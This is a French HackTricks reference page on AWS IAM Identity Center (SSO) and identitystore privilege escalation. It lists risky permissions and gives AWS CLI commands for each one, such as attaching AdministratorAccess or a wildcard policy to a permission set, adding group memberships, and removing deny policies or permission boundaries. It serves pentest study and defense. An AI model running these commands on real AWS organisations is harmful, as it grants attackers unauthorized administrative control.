AWS - SSO & identitystore Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

AWS Identity Center / AWS SSO

Pour plus d’informations sur AWS Identity Center / AWS SSO, consultez :

AWS - IAM, Identity Center & SSO Enum

Warning

Notez que, par dĂ©faut, seuls les utilisateurs disposant de permissions du Management Account pourront accĂ©der et contrĂŽler l’IAM Identity Center.
Les utilisateurs d’autres comptes ne peuvent le faire que si le compte est un Delegated Administrator.
Check the docs for more info.

Réinitialiser le mot de passe

Une maniĂšre simple d’escalader les privilĂšges dans ce genre de cas serait d’avoir une permission permettant de rĂ©initialiser les mots de passe des utilisateurs. Malheureusement, il n’est possible que d’envoyer un e-mail Ă  l’utilisateur pour rĂ©initialiser son mot de passe, donc vous auriez besoin d’accĂ©der Ă  l’e-mail de l’utilisateur.

identitystore:CreateGroupMembership

Avec cette permission, il est possible d’ajouter un utilisateur Ă  un groupe afin qu’il hĂ©rite de toutes les permissions du groupe.

aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>

sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet

Un attaquant disposant de cette permission pourrait accorder des permissions supplémentaires à un Permission Set qui est accordé à un user sous son contrÎle

# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml

# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet

Un attaquant disposant de cette permission pourrait accorder des autorisations supplémentaires à un Permission Set qui est attribué à un utilisateur sous son contrÎle.

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet

Un attaquant disposant de cette permission pourrait accorder des permissions supplémentaires à un Permission Set qui est attribué à un utilisateur sous son contrÎle.

Warning

Pour abuser de ces permissions dans ce cas, vous devez connaĂźtre le nom d’une customer managed policy qui est prĂ©sente DANS TOUS les comptes qui seront affectĂ©s.

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:CreateAccountAssignment

Un attaquant ayant cette autorisation pourrait attribuer un Permission Set à un utilisateur qu’il contrîle sur un compte.

aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>

sso:GetRoleCredentials

Renvoie les identifiants temporaires STS pour un rĂŽle donnĂ© attribuĂ© Ă  l’utilisateur.

aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>

Cependant, vous avez besoin d’un access token que je ne sais pas comment obtenir (TODO).

sso:DetachManagedPolicyFromPermissionSet

Un attaquant disposant de cette permission peut supprimer l’association entre un managed policy AWS et le permission set spĂ©cifiĂ©. Il est possible d’obtenir plus de privilĂšges en dĂ©tachant un managed policy (deny policy).

aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>

sso:DetachCustomerManagedPolicyReferenceFromPermissionSet

Un attacker disposant de cette permission peut supprimer l’association entre une Customer managed policy et le permission set spĂ©cifiĂ©. Il est possible d’accorder davantage de privilĂšges en dĂ©tachant une managed policy (deny policy).

aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>

sso:DeleteInlinePolicyFromPermissionSet

Un attaquant disposant de cette permission peut supprimer les permissions d’une inline policy du permission set. Il est possible d’accorder davantage de privilĂšges en dĂ©tachant une inline policy (deny policy).

aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>

sso:DeletePermissionBoundaryFromPermissionSet

Un attaquant disposant de cette permission peut supprimer le Permission Boundary du permission set. Il est possible d’accorder plus de privilĂšges en supprimant les restrictions sur le Permission Set imposĂ©es par le Permission Boundary.

aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks